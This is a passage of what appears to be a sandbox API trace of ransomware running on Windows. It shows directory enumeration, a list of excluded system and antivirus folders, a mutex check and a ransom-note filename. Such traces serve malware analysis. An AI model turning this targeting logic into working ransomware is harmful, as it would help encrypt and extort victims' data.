(in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0056.440] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꑜR䱠@塤U企@\x18?T\x18D")) returned 0xffffffff [0056.440] GetLastError () returned 0x2 [0056.440] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\") returned 0x4c [0056.440] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\\x10") returned 8 [0056.440] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꑜR䱠@ꍴR企@\x18셤R\x18j")) returned 0xffffffff [0056.440] GetLastError () returned 0x2 [0056.441] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\") returned 0x4c [0056.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0056.441] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꑜR䱠@⎌U企@\x18?T\x18q")) returned 0xffffffff [0056.441] GetLastError () returned 0x2 [0056.441] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\") returned 0x4c [0056.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\셠RÐ") returned 6 [0056.441] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꑜR䱠@♴U企@\x18?T\x18y")) returned 0xffffffff [0056.441] GetLastError () returned 0x2 [0056.441] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\") returned 0x4c [0056.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T\x10") returned 7 [0056.441] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꑜR䱠@塤U企@\x18?T\x18\x81")) returned 0xffffffff [0056.441] GetLastError () returned 0x2 [0056.441] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\") returned 0x4c [0056.441] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT\x10") returned 7 [0056.441] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꑜR䱠@⎌U企@\x18?T\x18\x88")) returned 0xffffffff [0056.442] GetLastError () returned 0x2 [0056.442] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\") returned 0x4c [0056.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T\x10") returned 6 [0056.442] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꑜR䱠@♴U企@\x18?T\x18\x8f")) returned 0xffffffff [0056.442] GetLastError () returned 0x2 [0056.442] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\") returned 0x4c [0056.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T\x10") returned 6 [0056.442] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8a0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꑜR䱠@塤U企@\x18?T\x18\x97")) returned 0xffffffff [0056.442] GetLastError () returned 0x2 [0056.442] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\") returned 0x4c [0056.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT\x10") returned 7 [0056.442] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\") returned 0x4c [0056.442] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0056.442] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\") returned 0x4c [0056.442] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0056.442] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0056.443] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\") returned 0x4c [0056.443] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0056.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0056.443] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\") returned 0x4c [0056.443] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0056.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0056.443] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\") returned 0x4c [0056.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0056.443] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\") returned 0x4c [0056.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0056.443] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\") returned 0x4c [0056.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0056.443] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\") returned 0x4c [0056.443] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0056.444] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\") returned 0x4c [0056.444] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0056.444] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\") returned 0x4c [0056.444] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0056.444] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\") returned 0x4c [0056.444] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0056.444] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\") returned 0x4c [0056.444] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a908, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0056.444] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\", cchLength=0x4c | out: lpsz="c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\") returned 0x4c [0056.444] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0056.445] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0056.445] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.445] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0056.445] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0056.445] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0056.445] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0056.445] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.445] CharLowerBuffW (in: lpsz="FPSRVUTL.DLL", cchLength=0xc | out: lpsz="fpsrvutl.dll") returned 0xc [0056.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.446] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0056.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLL", cchWideChar=88, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLLi", lpUsedDefaultChar=0x0) returned 88 [0056.446] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0056.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\Web Server Extensions\\14\\BIN\\FPSRVUTL.DLLi", lpUsedDefaultChar=0x0) returned 4 [0056.446] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0056.446] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e744 | out: lpLocalFileTime=0x18e744) returned 1 [0056.446] FileTimeToDosDateTime (in: lpFileTime=0x18e744, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0056.446] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.446] CharLowerBuffW (in: lpsz="FPWEC.DLL", cchLength=0x9 | out: lpsz="fpwec.dll") returned 0x9 [0056.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.446] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cç\x18", lpUsedDefaultChar=0x0) returned 1 [0056.447] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 